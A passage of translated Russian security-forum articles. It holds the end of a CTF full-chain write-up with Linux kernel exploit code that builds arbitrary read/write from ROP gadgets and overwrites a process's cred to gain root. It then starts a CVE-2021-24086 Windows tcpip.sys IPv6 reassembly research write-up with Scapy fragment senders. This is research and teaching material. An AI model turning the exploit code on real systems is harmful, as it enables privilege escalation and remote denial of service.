ommit_creds(prepare_kernel_cred(NULL))
, чтобы получить привилегии rootcred
собственного процессаВы можете выбрать любой способ, но я выбрал второй способ.
EUID, UID, GID и т. Д. Хранятся в структуре с именем
cred
.
Этот объект выделяется в куче для каждого процесса, и на него ссылается
структура с именем task_struct
. task_struct
также выделяется в куче для
каждого процесса.
Итак, нам нужны примитивы AAR и AAW для утечки указателя объекта cred
. Но
как их получить?
Два года назад корейский исследователь безопасности pr0cf5 обнаружил и опубликовал методику преобразования RIP-контроля в AAR/AAW. Вы можете прочитать [его статью](https://pr0cf5.github.io/ctf/2020/03/09/the-plight-of- tty-in-the-linux-kernel.html) для получения более подробной информации. Это очень полезный и мощный метод, и я тоже использовал его в этой задаче. По сути, нам просто нужно найти такой гаджет ROP для AAR:
Code:Copy to clipboard
mov rax, [rdx]; ret;
И для AAW:
Code:Copy to clipboard
mov [rdx], ecx; ret;
Очень вероятно, что в ядре Linux есть такие ROP гаджеты.
C:Copy to clipboard
void aaw32(unsigned long address, unsigned int value) {
unsigned long *fake_ops = &buf[0x300 / 8];
buf[3] = kheap + ((void*)fake_ops - (void*)buf);
fake_ops[12] = rop_mov_prdx_ecx;
dev_write((void*)buf, 0x3f0);
for (int i = 0; i < 0x100; i++) {
ioctl(spray[i], value, address);
}
}
int ofs_cache;
unsigned int aar32(unsigned long address) {
unsigned long *fake_ops = &buf[0x300 / 8];
buf[3] = kheap + ((void*)fake_ops - (void*)buf);
fake_ops[12] = rop_mov_rax_prdx;
dev_write((void*)buf, 0x3f0);
for (int i = 0; i < 0x100; i++) {
int result = ioctl(spray[i], 0, address);
ofs_cache = i;
if (result != -1)
return result;
}
}
Поиск учетных данных
Следующий вопрос - как найти task_struct
текущего процесса.
В task_struct
есть член с именем
comm
.
C:Copy to clipboard
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
Эта строка определяет имя текущего исполняемого файла. Мы можем изменить его с
помощью функции prctl
вот так.
C:Copy to clipboard
prctl(PR_SET_NAME, "HELLO");
Если мы запустим приведенный выше код, comm
текущей структуры будет
перезаписан строкой «HELLO».
Таким образом, он может поставить маркер в task_struct
текущего процесса. Мы
можем искать маркер в памяти, используя примитив AAR. Если мы найдем маркер,
мы также можем прочитать указатель cred
и затем перезаписать EUID на 0
(=root).
C:Copy to clipboard
/* Search for task_struct */
prctl(PR_SET_NAME, "legoshi");
if (aar32(kbase) != 0x51258d48) {
puts("AAR is not working");
return 1;
}
unsigned long addr_cred = 0;
for (unsigned long cur = kheap - 0x10008;
cur > kheap - 0x10000000;
cur -= 0x10) {
if ((cur & 0xfffff) == 8) {
printf("[*] Searching... (0x%lx)\n", cur);
}
if (aar32(cur) == 0x6f67656c) {
printf("[+] Found: 0x%lx\n", cur);
addr_cred = ((unsigned long)aar32(cur-0x14) << 32) | aar32(cur-0x18);
break;
}
}
printf("[+] cred = 0x%lx\n", addr_cred);
/* Overwrite EUID */
for (int i = 1; i <= 8; i++) {
aaw32(addr_cred + 4*i, 0);
}
printf("[+] Done!");
Заключение
Полные эксплойт (и эксплойты для каждого этапа) доступны в [моем
репозитории](https://bitbucket.org/ptr-
yudai/writeups-2021/src/master/GoogleCTF_Quals/full_chain/).
Подводя итог, я написал эксплойт для рендерера, браузера и ядра. Уязвимость рендерера заключалась в переполнении буфера кучи. Уязвимость браузера заключалась в том, что доступ к массиву в куче был out-of-bounds. Уязвимость ядра заключалась в use-after-free. Я думаю, что каждая из уязвимостей настолько проста, что мы можем сосредоточиться на эксплойте, что хорошо для образовательных целей.
К счастью, я смог получить first blood на этом испытании Хочу поблагодарить автора за такое замечательное задание!
От ТС
Замечательная статья для тех, кто хочет понять что из себя представляют и как
реализуются full chain эксплойты. Оригинал доступен [тут](https://ptr-
yudai.hatenablog.com/entry/2021/07/26/225308)
Немного внутренней кухни:
В последнее время я стал делать меньше переводов, а те, что уже взял -
задерживаются. Прошу прощения. Сейчас очень много дел, и времени на переводы
почти не остаётся.
Постараюсь вернуться к прежнему темпу ближе к началу сентября.
Перевод:
Azrv3l cпециально для xss.is
С самого начала моего пути в области компьютерной безопасности меня всегда поражали и очаровывали удаленные уязвимости. Под настоящими я подразумеваю баги, которые запускаются удаленно без какого-либо взаимодействия с пользователем. Ни единого щелчка. В результате я всегда ищу такие уязвимости.
Во вторник, 13 октября 2020 года, Microsoft выпустила патч для CVE-2020-16898, которая представляет собой уязвимость, затрагивающую драйвер режима ядра tcpip.sys Windows, получивший название Bad Neighbor.
Вот описание от Microsoft:
Уязвимость удаленного выполнения кода существует, когда стек Windows TCP/IP неправильно обрабатывает пакеты объявлений маршрутизатора ICMPv6. Злоумышленник, успешно воспользовавшийся этой уязвимостью, может получить возможность выполнять код на целевом сервере или клиенте. Чтобы воспользоваться этой уязвимостью, злоумышленник должен будет отправить специально созданные пакеты ICMPv6 Router Advertisement на удаленный компьютер с Windows. Обновление устраняет уязвимость, исправляя способ обработки стеком Windows TCP/IP пакетов ICMPv6 Router Advertisement.
Уязвимость действительно выделялась для меня: удаленные уязвимости, влияющие на стеки TCP/IP, казались исчезнувшими, и возможность удаленного запуска повреждения памяти в ядре Windows очень интересна для злоумышленника. Очаровательно.
Я уже много лет не сравнивал патчи Microsoft, я подумал, что это будет забавное упражнение. Я знал, что буду работать не только над этим, поскольку они привлекают много внимания интернет-хакеров. Действительно, мой друг pi3 так быстро разобрал патч, написал PoC и написал пост в блоге, что у меня даже не было времени начать, ну и ладно
Вот почему, когда Microsoft писала в блоге о другом наборе уязвимостей, исправляемых в tcpip.sys , я подумал, что на этот раз смогу поработать над ними. Опять же, я точно знал, что не буду единственным гонщиком, который напишет первый публичный PoC для CVE-2021-24086, но каким-то образом Интернет молчал достаточно долго, чтобы я смог выполнить эту задачу, что очень удивительно
В этом посте я расскажу вам о своем путешествии from zero to BsoD. От различения патчей, реверс-инжиниринга tcpip.sys и борьбы до написания PoC для CVE-2021-24086. Если вы пришли сюда за кодом, честно говоря, он доступен на моем github: 0vercl0k/CVE-2021-24086.
TL;DR
Для читателей, которые хотят получить быстро информацию, CVE-2021-24086 - это разыменование NULL в tcpip!Ipv6pReassembleDatagram , которое может быть запущено удаленно путем отправки серии специально созданных пакетов. Проблема возникает из-за того, как код обрабатывает сетевой буфер:
C:Copy to clipboard
void Ipv6pReassembleDatagram(Packet_t *Packet, Reassembly_t *Reassembly, char OldIrql)
{
// ...
const uint32_t UnfragmentableLength = Reassembly->UnfragmentableLength;
const uint32_t TotalLength = UnfragmentableLength + Reassembly->DataLength;
const uint32_t HeaderAndOptionsLength = UnfragmentableLength + sizeof(ipv6_header_t);
// …
NetBufferList = (_NET_BUFFER_LIST *)NetioAllocateAndReferenceNetBufferAndNetBufferList(
IppReassemblyNetBufferListsComplete,
Reassembly,
0,
0,
0,
0);
if ( !NetBufferList )
{
// ...
goto Bail_0;
}
FirstNetBuffer = NetBufferList->FirstNetBuffer;
if ( NetioRetreatNetBuffer(FirstNetBuffer, uint16_t(HeaderAndOptionsLength), 0) < 0 )
{
// ...
goto Bail_1;
}
Buffer = (ipv6_header_t *)NdisGetDataBuffer(FirstNetBuffer, HeaderAndOptionsLength, 0i64, 1u, 0);
//...
*Buffer = Reassembly->Ipv6;
Новый NetBufferList (сокращенно NBL) выделяется NetioAllocateAndReferenceNetBufferAndNetBufferList , а NetioRetreatNetBuffer выделяет список дескрипторов памяти (сокращенно MDL) байтов uint16_t (HeaderAndOptionsLength). Это целочисленное усечение от uint32_t важно.
После выделения сетевого буфера вызывается NdisGetDataBuffer для получения доступа к непрерывному блоку данных из нового сетевого буфера. Однако на этот раз HeaderAndOptionsLength не усекается, что позволяет злоумышленнику вызвать специальное условие в NdisGetDataBuffer. Это условие выполняется, когда uint16_t (HeaderAndOptionsLength)! = HeaderAndOptionsLength. Когда функция не работает, она возвращает NULL, и Ipv6pReassembleDatagram слепо доверяет этому указателю и выполняет запись в память, вызывая багчекинг на машине. Для этого вам нужно обманом заставить сетевой стек получить фрагмент IPv6 с очень большим количеством заголовков. Вот как выглядят ошибки:
C:Copy to clipboard
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x000000d1
(0x0000000000000000,0x0000000000000002,0x0000000000000001,0xFFFFF8054A5CDEBB)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!DbgBreakPointWithStatus:
fffff805`473c46a0 cc int 3
kd> kc
# Call Site
00 nt!DbgBreakPointWithStatus
01 nt!KiBugCheckDebugBreak
02 nt!KeBugCheck2
03 nt!KeBugCheckEx
04 nt!KiBugCheckDispatch
05 nt!KiPageFault
06 tcpip!Ipv6pReassembleDatagram
07 tcpip!Ipv6pReceiveFragment
08 tcpip!Ipv6pReceiveFragmentList
09 tcpip!IppReceiveHeaderBatch
0a tcpip!IppFlcReceivePacketsCore
0b tcpip!IpFlcReceivePackets
0c tcpip!FlpReceiveNonPreValidatedNetBufferListChain
0d tcpip!FlReceiveNetBufferListChainCalloutRoutine
0e nt!KeExpandKernelStackAndCalloutInternal
0f nt!KeExpandKernelStackAndCalloutEx
10 tcpip!FlReceiveNetBufferListChain
11 NDIS!ndisMIndicateNetBufferListsToOpen
12 NDIS!ndisMTopReceiveNetBufferLists
Для тех, кто готов к долгой поездке, давайте перейдем к делу
Разведка
Несмотря на то, что Франсиско Фалькон уже написал классный пост в блоге, в котором обсуждалась его работа по этому делу, я решил также написать свой; Я постараюсь осветить аспекты, которые меньше или вообще не освещены в его сообщении, например, внутреннее устройство tcpip.sys.
Хорошо, давайте начнем с начала: на данный момент я ничего не знаю о tcpip.sys и ничего не знаю о исправлениях ошибок. Сообщение в блоге Microsoft полезно, потому что дает нам несколько подсказок:
- Существует три различных уязвимости, которые, по-видимому, связаны с
фрагментацией IPv4 и IPv6,
- Два из них оценены как удаленное выполнение кода, что означает, что они
каким-то образом вызывают повреждение памяти,
- Один из них вызывает DoS, что означает, что он каким-то образом вызывает
багчекинг.
Из этого твита мы также узнаем, что эти недостатки были обнаружены Microsoft @piazzt, и это здорово.
Поиск в Google также открывает кучу более полезной информации из-за того, что может показаться, что Microsoft в частном порядке делилась со своими партнерами PoC через программу MAPP.
На этом этапе я решил сосредоточиться на уязвимости DoS (CVE-2021-2486) в качестве первого шага. Я подумал, что её может быть проще запустить и что я смогу использовать полученные знания для её запуска, чтобы лучше понять tcpip.sys и, возможно, поработать над другими уязвимостями, если позволит время и мотивация.
Следующим логическим шагом является сравнение патчей для определения исправлений.
Сравнение патчей Microsoft в 2021 году
Честно говоря, я не могу вспомнить, когда в последний раз сравнивал патчи Microsoft. Вероятно, во время Windows XP/Windows 7, если честно. С тех пор многое изменилось. Обновления безопасности теперь являются накопительными, что означает, что в пакеты встроены все известные на сегодняшний день исправления. Вы можете получать пакеты прямо из каталога Центра обновления Майкрософт, что очень удобно. И последнее, но не менее важное: обновления Windows теперь используют прямой/обратный дифференциал; вы можете прочитать это https://docs.microsoft.com/en-us/windows/deployment/update/psfxwhitepaper, чтобы узнать больше о том, что это значит.
Извлечение и сравнение (<https://wumb0.in/extracting-and-diffing-ms-patches- in-2020.html>) исправлений Windows в 2020 году - отличный пост в блоге, в котором рассказывается о том, как распаковать исправления из пакета обновлений и как применять различия. Результатом этой работы является двоичный файл tcpip.sys до и после обновления. Если вам не хочется делать это самостоятельно, я загрузил два двоичных файла (а также их соответствующие общедоступные PDB), которые вы можете использовать для самостоятельного сравнения: 0vercl0k/CVE-2021-24086/binaries. Кроме того, после публикации этого поста я узнал об удивительном веб-сайте winbindex, который индексирует двоичные файлы Windows и позволяет загружать их одним щелчком мыши. Вот индекс, доступный для tcpip.sys в качестве примера.
Когда у нас есть двоичные файлы до и после сравнения, небольшой танец с IDA и старым добрым BinDiff дает следующий результат:
Здесь не так много изменений, на которые стоит обратить внимание, и это приятно, и кажется правильным сосредоточиться на Ipv6pReassembleDatagram. Microsoft упоминалось отключение повторной сборки пакетов (netsh int ipv6 set global reassemblylimit = 0), и эта функция, похоже, повторно собирает датаграммы;
Посмотрев на него некоторое время, пропатченный двоичный файл представил этот новый интересный на вид базовый блок:
Он заканчивается тем, что выглядит как сравнение с целым числом 0xffff и условным переходом, который либо завершается, либо продолжается. Это выглядит очень интересно, потому что в некоторых статьях упоминалось, что ошибка может быть вызвана пакетом, содержащим большое количество заголовков. Не то чтобы вы должны доверять подобным новостным статьям, поскольку они обычно не являются технически точными и сенсационными, но в этом может быть доля правды. В этот момент я почувствовал себя довольно хорошо и решил прекратить сравнения и начать реверс-инжиниринг. Я предположил, что проблема будет в каком-то целочисленном переполнении/усечении, которое можно легко запустить на основе имени функции. Нам просто нужно отправить большой пакет, верно?
Реверс-инжиниринг tcpip.sys
Вот где начинается настоящее путешествие и обычные эмоциональные американские горки при изучении уязвимых мест. Сначала я думал, что закончу с этим за несколько дней или неделю. Но я ошибался.
Крошечные шажки
Первым делом я подготовил лабораторную среду. Я установил Windows 10 (target) и виртуальную машину Linux (attacker), настроил KDNet и отладку ядра для отладки, установил Wireshark/Scapy (v2.4.4), создал виртуальный коммутатор, которым совместно пользуются две виртуальные машины. А также... наконец загрузил tcpip.sys в IDA. Модуль на первый взгляд выглядел довольно большим и сложным - в этом нет ничего удивительного; в конце концов, он реализует сетевой стек Windows IPv4 и IPv6. Я начал приключение, сосредоточившись сначала на Ipv6pReassembleDatagram. Вот фрагмент ассемблерного кода, который мы видели ранее в BinDiff и который выглядел интересно:
Отлично, это начало. Прежде чем углубиться в кроличью нору реверс-инижниринга, я решил попробовать задействовать функцию и отладить ее с помощью WinDbg. Поскольку название функции предполагает реассемблирование, я написал следующий код и применил его к своей цели:
from scapy.all import *
pkt = Ether() / IPv6(dst = 'ff02::1') / UDP() / ('a' * 0x1000)
sendp(fragment6(pkt, 500), iface = 'eth1')Click to expand...
Это успешно запускает точку останова в WinDbg и очень аккуратно:
kd> g
Breakpoint 0 hit
tcpip!Ipv6pReassembleDatagram:
fffff802`2edcdd6c 4488442418 mov byte ptr [rsp+18h],r8bkd> kc
Call Site
00 tcpip!Ipv6pReassembleDatagram
01 tcpip!Ipv6pReceiveFragment
02 tcpip!Ipv6pReceiveFragmentList
03 tcpip!IppReceiveHeaderBatch
04 tcpip!IppFlcReceivePacketsCore
05 tcpip!IpFlcReceivePackets
06 tcpip!FlpReceiveNonPreValidatedNetBufferListChain
07 tcpip!FlReceiveNetBufferListChainCalloutRoutine
08 nt!KeExpandKernelStackAndCalloutInternal
09 nt!KeExpandKernelStackAndCalloutEx
0a tcpip!FlReceiveNetBufferListChainClick to expand...
Мы даже можем наблюдать фрагментированные пакеты в Wireshark, что тоже довольно круто:
Для тех, кто не знаком с фрагментацией пакетов, это механизм, используемый для разделения больших пакетов (больше, чем максимальная единица передачи) на более мелкие порции, чтобы их можно было отправлять через сетевое оборудование. Принимающий сетевой стек должен безопасно сшить их вместе.
Хорошо, отлично. Теперь у нас есть то, что я считаю достаточно хорошей исследовательской средой, и мы можем начать копаться в коде. На этом этапе давайте не будем сосредоточиваться на уязвимости, а вместо этого попытаемся понять, как работает код, тип аргументов, которые он получает, а также восстановиим структуры и семантику важных полей и т. д. Давайте получим красивый вывод нашей декомпиляции через HexRays.
Как вы понимаете, это самая трудоемкая часть. Я использую микс снизу вверх и сверху вниз и делаю множество экспериментов. Я комментирую декомпилированный код как можно лучше, ставлю себе задачу, задавая вопросы, отвечая на них, пробую и повторяю.
Обзор с высокого уровня
Сложные драйверы, такие как tcpip.sys, огромны, несут много состояний и их трудно понимать как с точки зрения выполнения, так и потока данных. В этом случае есть целое число такого типа, которое, кажется, связано с чем-то, что было получено, и мы хотим установить для него значение 0xffff. К сожалению, просто сосредоточиться на Ipv6pReassembleDatagram и Ipv6pReceiveFragment было недостаточно для достижения значительного прогресса. Хотя попробовать стоило, но пора переключиться.
ЗумАут
Ладно, это круто, наш декомпилированный код HexRays становится все красивее и красивее; это приятно. Мы злоупотребили функцией создания новой структуры, чтобы поднять кучу структур. Мы догадывались о семантике некоторых из них, но большинство до сих пор неизвестно. Так что да, давайте будем умнее.
Мы знаем, что tcpip.sys принимает пакеты из сети; мы не знаем точно, как и откуда, но, возможно, нам и не нужно знать так много. Один из первых вопросов, который вы можете задать себе - как ядро хранит сетевые данные? Какие конструкции оно использует?
NET_BUFFER и NET_BUFFER_LIST
Если у вас есть опыт работы с ядром Windows, возможно, вы знакомы с NDIS и, возможно, слышали о некоторых API и структурах, которые он предоставляет пользователям.Это документировано, поскольку сторонние производители могут разрабатывать расширения и драйверы для взаимодействия с сетевым стеком в различных точках.
Важной структурой в этом мире является NET_BUFFER. Вот как это выглядит в WinDbg:
kd> dt NDIS!_NET_BUFFER
NDIS!_NET_BUFFER
+0x000 Next : Ptr64 _NET_BUFFER
+0x008 CurrentMdl : Ptr64 _MDL
+0x010 CurrentMdlOffset : Uint4B
+0x018 DataLength : Uint4B
+0x018 stDataLength : Uint8B
+0x020 MdlChain : Ptr64 _MDL
+0x028 DataOffset : Uint4B
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferHeader : _NET_BUFFER_HEADER
+0x030 ChecksumBias : Uint2B
+0x032 Reserved : Uint2B
+0x038 NdisPoolHandle : Ptr64 Void
+0x040 NdisReserved : [2] Ptr64 Void
+0x050 ProtocolReserved : [6] Ptr64 Void
+0x080 MiniportReserved : [4] Ptr64 Void
+0x0a0 DataPhysicalAddress : _LARGE_INTEGER
+0x0a8 SharedMemoryInfo : Ptr64 _NET_BUFFER_SHARED_MEMORY
+0x0a8 ScatterGatherList : Ptr64 _SCATTER_GATHER_LISTClick to expand...
Это может выглядеть ошеломляющим, но нам не нужно разбираться во всех деталях. Важно то, что сетевые данные хранятся в обычных MDL. Как MDL, NET_BUFFER может быть объединен в цепочку, что позволяет ядру хранить большой объем данных в группе несмежных фрагментов физической памяти; виртуальная память - это волшебная палочка, с помощью которой данные выглядят непрерывно. Для читателей, не знакомых с разработкой ядра Windows, MDL - это конструкция ядра Windows, которая позволяет пользователям отображать физическую память в непрерывной области виртуальной памяти. За каждым MDL на самом деле следует список PFN (которые не обязательно должны быть смежными), которые ядро Windows может отображать в непрерывную область виртуальной памяти; Магия.
kd> dt nt!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4BClick to expand...
NET_BUFFER_LIST - это в основном структура для отслеживания списка NET_BUFFER, как следует из названия:
kd> dt NDIS!_NET_BUFFER_LIST
+0x000 Next : Ptr64 _NET_BUFFER_LIST
+0x008 FirstNetBuffer : Ptr64 _NET_BUFFER
+0x000 Link : _SLIST_HEADER
+0x000 NetBufferListHeader : _NET_BUFFER_LIST_HEADER
+0x010 Context : Ptr64 _NET_BUFFER_LIST_CONTEXT
+0x018 ParentNetBufferList : Ptr64 _NET_BUFFER_LIST
+0x020 NdisPoolHandle : Ptr64 Void
+0x030 NdisReserved : [2] Ptr64 Void
+0x040 ProtocolReserved : [4] Ptr64 Void
+0x060 MiniportReserved : [2] Ptr64 Void
+0x070 Scratch : Ptr64 Void
+0x078 SourceHandle : Ptr64 Void
+0x080 NblFlags : Uint4B
+0x084 ChildRefCount : Int4B
+0x088 Flags : Uint4B
+0x08c Status : Int4B
+0x08c NdisReserved2 : Uint4B
+0x090 NetBufferListInfo : [29] Ptr64 VoidClick to expand...
Опять же, не нужно разбираться во всех деталях, достаточно хорошо мыслить концепциями. Вдобавок ко всему, Microsoft упрощает нашу жизнь, предоставляя очень полезное расширение WinDbg под названием ndiskd. Он предоставляет две функции для дампа NET_BUFFER и NET_BUFFER_LIST :!Ndiskd.nb и!Ndiskd.nbl соответственно. Это большая экономия времени, потому что они заботятся об обходе различных уровней косвенности: список NET_BUFFER и цепочки MDL.
Механика разбора пакета IPv6
Теперь, когда мы знаем, где и как хранятся сетевые данные, мы можем спросить себя, как работает синтаксический анализ пакетов IPv6? У меня очень мало знаний о работе в сети, но я знаю, что существуют различные заголовки, которые нужно анализировать по-разному и что они могут быть связаны друг с другом. Слой N сообщает вам, что вы найдете дальше.
То, что я собираюсь описать, - это то, что я выяснил во время реверс инжиниринга, а также то, что я наблюдал во время отладки посредством бесчисленных экспериментов. Полное раскрытие: я не эксперт, так что отнеситесь к этому с недоверием
Интересующей нас функцией верхнего уровня является IppReceiveHeaderBatch. Первое, что она делает, - это вызывает IppReceiveHeadersHelper для каждого пакета в списке:
if ( Packet )
{
do
{
Next = Packet->Next;
Packet->Next = 0;
IppReceiveHeadersHelper(Packet, Protocol, ...);
Packet = Next;
}
while ( Next );
}Click to expand...
Packet_t - это недокументированная структура, связанная с полученными пакетами. В этой структуре хранится множество состояний, и выяснение семантики важных полей занимает много времени. Основная роль IppReceiveHeadersHelper - запустить машину синтаксического анализа. Он анализирует заголовок IPv6 (или IPv4) пакета и читает поле next_header. Как я упоминал выше, это поле очень важно, потому что оно указывает, как читать следующий уровень пакета. Это значение хранится в структуре пакета, и множество функций читает и обновляет его во время синтаксического анализа.
NetBufferList = Packet->NetBufferList;
HeaderSize = Protocol->HeaderSize;
FirstNetBuffer = NetBufferList->FirstNetBuffer;
CurrentMdl = FirstNetBuffer->CurrentMdl;
if ( (CurrentMdl->MdlFlags & 5) != 0 )
Va = CurrentMdl->MappedSystemVa;
else
Va = MmMapLockedPagesSpecifyCache(CurrentMdl, 0, MmCached, 0, 0, 0x40000000u);
IpHdr = (ipv6_header_t *)((char *)Va + FirstNetBuffer->CurrentMdlOffset);
if ( Protocol == (Protocol_t *)Ipv4Global )
{
// ...
}
else
{
Packet->NextHeader = IpHdr->next_header;
Packet->NextHeaderPosition = offsetof(ipv6_header_t, next_header);
SrcAddrOffset = offsetof(ipv6_header_t, src);
}Click to expand...
Функция делает гораздо больше; она инициализирует несколько полей Packet_t, но пока давайте проигнорируем это, чтобы не перегружать себя сложностью. Как только функция возвращается в IppReceiveHeaderBatch, она извлекает демультиплексор из структуры Protocol_t и вызывает обратный вызов парсера, если NextHeader является допустимым заголовком расширения. Структура Protocol_t содержит массив Demuxer_t (термин, используемый в драйвере).
C:Copy to clipboard
struct Demuxer_t
{
void (__fastcall *Parse)(Packet_t *);
void *f0;
void *f1;
void *Size;
void *f3;
_BYTE IsExtensionHeader;
_BYTE gap[23];
};
struct Protocol_t
{
// ...
Demuxer_t Demuxers[277];
};
NextHeader (заполненный ранее в IppReceiveHeaderBatch) - это значение, используемое для индексации в этом массиве.
Если демультиплексор обрабатывает заголовок расширения, то вызывается обратный вызов для правильного анализа заголовка. Это происходит в цикле до тех пор, пока синтаксический анализ не достигнет первой части пакета, не являющейся заголовком, и в этом случае он обрабатывает следующий пакет.
C:Copy to clipboard
while ( ... )
{
NetBufferList = RcvList->NetBufferList;
IpProto = RcvList->NextHeader;
if ( ... )
{
Demuxer = (Demuxer_t *)IpUdpEspDemux;
}
else
{
Demuxer = &Protocol->Demuxers[IpProto];
}
if ( !Demuxer->IsExtensionHeader )
Demuxer = 0;
if ( Demuxer )
Demuxer->Parse(RcvList);
else
RcvList = RcvList->Next;
}
Легко сдампить демультиплексоры и связанных с ними значений NextHeader/Parse; они могут пригодиться позже.
- nh = 0 -> Ipv6pReceiveHopByHopOptions
- nh = 43 -> Ipv6pReceiveRoutingHeader
- nh = 44 -> Ipv6pReceiveFragmentList
- nh = 60 -> Ipv6pReceiveDestinationOptionsClick to expand...
Demuxer может предоставить для синтаксического анализа процедуру обратного вызова, которую я назвал Parse. Метод Parse получает пакет и может бесплатно обновить его состояние; например, чтобы захватить NextHeader, который необходим, чтобы знать, как анализировать следующий слой. Вот как выглядит Ipv6pReceiveFragmentList (Ipv6FragmentDemux.Parse):
Перед тем, как продолжить, он проверяет, является ли следующий заголовок типом IPPROTO_FRAGMENT. Это все механика фрагментации IPv6.
Теперь, когда мы немного лучше понимаем общий поток, самое время подумать о фрагментации. Мы знаем, что нам нужно отправлять фрагментированные пакеты, чтобы попасть в код, который был исправлен обновлением, что, как мы знаем, каким-то образом важно. Функция, которая анализирует фрагменты, называется Ipv6pReceiveFragment, и это непростая функция. Опять же, отслеживание фрагментов, вероятно, и оправдывает это, так что здесь нет ничего неожиданного.
Это также подходящее время для нас, чтобы прочитать литературу о том, как именно работает фрагментация IPv6. Концепции были полезны до сих пор, но сейчас нам нужно разобраться в мельчайших деталях. Я не хочу тратить на это слишком много времени, так как в Интернете есть масса контента, обсуждающего эту тему, поэтому я просто дам вам краткую сводку. Чтобы определить фрагмент, вам нужно добавить заголовок фрагментации, который в Scapy land называется IPv6ExtHdrFragment:
Python:Copy to clipboard
class IPv6ExtHdrFragment(_IPv6ExtHdr):
name = "IPv6 Extension Header - Fragmentation header"
fields_desc = [ByteEnumField("nh", 59, ipv6nh),
BitField("res1", 0, 8),
BitField("offset", 0, 13),
BitField("res2", 0, 2),
BitField("m", 0, 1),
IntField("id", None)]
overload_fields = {IPv6: {"nh": 44}}
Наиболее важными для нас полями являются:
- смещение, которое сообщает начальное смещение того, где данные, следующие
за этим заголовком, должны быть помещены в повторно собранный пакет
- бит m, который указывает, является ли это последним фрагментом.
Обратите внимание, что поле смещения имеет размер блоков по 8 байтов; если вы установите его в 1, это означает, что ваши данные будут иметь размер +8 байт. Если вы установите значение 2, они будут равны +16 байтам и т.д.
Вот небольшая функция фрагментации IPv6 , которую я написал, чтобы убедиться, что я правильно все понимаю. Мне нравится учиться на практике.
Python:Copy to clipboard
def frag6(target, frag_id, bytes, nh, frag_size = 1008):
'''Ghetto fragmentation.'''
assert (frag_size % 8) == 0
leftover = bytes
offset = 0
frags = []
while len(leftover) > 0:
chunk = leftover[: frag_size]
leftover = leftover[len(chunk): ]
last_pkt = len(leftover) == 0
# 0 -> No more / 1 -> More
m = 0 if last_pkt else 1
assert offset < 8191
pkt = Ether() \
/ IPv6(dst = target) \
/ IPv6ExtHdrFragment(m = m, nh = nh, id = frag_id, offset = offset) \
/ chunk
offset += (len(chunk) // 8)
frags.append(pkt)
return frags
Достаточно просто. Другой важный аспект фрагментации в литературе связан с заголовками IPv6 и тем, что называется нефрагментируемой частью пакета. Вот как Microsoft описывает нефрагментируемую часть: "Эта часть состоит из заголовка IPv6, заголовка параметров перехода, заголовка параметров назначения для промежуточных пунктов назначения и заголовка маршрутизации". Это также часть, которая предшествует заголовку фрагментации. Очевидно, что если есть нефрагментируемая часть, есть и фрагментируемая часть. Фрагментируемая часть - это то, что вы отправляете за заголовком фрагментации. Процесс повторного ассемблирования - это процесс сшивания нефрагментируемой части с повторно собранной фрагментированной частью в один красивый повторно собранный пакет. Вот диаграмма, взятая из "Понимания заголовка IPv6", которая довольно хорошо подводит итог:
Вся эта теоретическая информация очень полезна, потому что теперь мы можем искать эти детали во время реверс инижиниринга. Всегда легче читать код и пытаться сопоставить его с тем, что он должен делать.
Теория против практики: Ipv6pReceiveFragment
В этот момент я почувствовал, что накопил достаточно новой информации, и пришло время вернуться к цели.
Мы хотим убедиться, что реальность работает так, как говорится в литературе, и тем самым улучшим наше общее понимание. После некоторого изучения этого кода мы начинаем понимать больше строк. Функция принимает пакет, но поскольку эта структура зависит от пакета, этого недостаточно для отслеживания состояния, необходимого для повторной сборки пакета. Вот почему для этого используется другая важная структура; Я назвал её Reassembly.
Общий поток в основном разбит на три основные части; Опять же, нам не нужно разбираться в каждой детали, давайте просто разберемся концептуально и что/как он пытается достичь своих целей:
*1 - Выясните, является ли полученный фрагмент частью уже существующей структуры Reassembly. Согласно литературе, мы знаем, что сетевые стеки должны использовать адрес источника, адрес назначения, а также идентификатор заголовка фрагментации, чтобы определить, является ли текущий пакет частью группы фрагментов. На практике функция IppReassemblyHashKey хеширует эти поля вместе, и полученный хеш используется для индексации в хеш-таблицу, в которой хранятся структуры Reassembly (Ipv6pFragmentLookup):
C:Copy to clipboard
int IppReassemblyHashKey(__int64 Iface, int Identification, __int64 Pkt)
{
//...
Protocol = *(_QWORD *)(Iface + 40);
OffsetSrcIp = 12i64;
AddressLength = *(unsigned __int16 *)(*(_QWORD *)(Protocol + 16) + 6i64);
if ( Protocol != Ipv4Global )
OffsetSrcIp = offsetof(ipv6_header_t, src);
H = RtlCompute37Hash(
g_37HashSeed,
Pkt + OffsetSrcIp,
AddressLength);
OffsetDstIp = 16i64;
if ( Protocol != Ipv4Global )
OffsetDstIp = offsetof(ipv6_header_t, dst);
H2 = RtlCompute37Hash(H, Pkt + OffsetDstIp, AddressLength);
return RtlCompute37Hash(H2, &Identification, 4i64) | 0x80000000;
}
Reassembly_t* Ipv6pFragmentLookup(__int64 Iface, int Identification, ipv6_header_t *Pkt, KIRQL *OldIrql)
{
// ...
v5 = *(_QWORD *)Iface;
Context.Signature = 0;
HashKey = IppReassemblyHashKey(v5, Identification, (__int64)Pkt);
*OldIrql = KeAcquireSpinLockRaiseToDpc(&Ipp6ReassemblyHashTableLock);
*(_OWORD *)&Context.ChainHead = 0;
for ( CurrentReassembly = (Reassembly_t *)RtlLookupEntryHashTable(&Ipp6ReassemblyHashTable, HashKey, &Context);
;
CurrentReassembly = (Reassembly_t *)RtlGetNextEntryHashTable(&Ipp6ReassemblyHashTable, &Context) )
{
// If we have walked through all the entries in the hash-table,
// then we can just bail.
if ( !CurrentReassembly )
return 0;
// If the current entry matches our iface, pkt id, ip src/dst
// then we found a match!
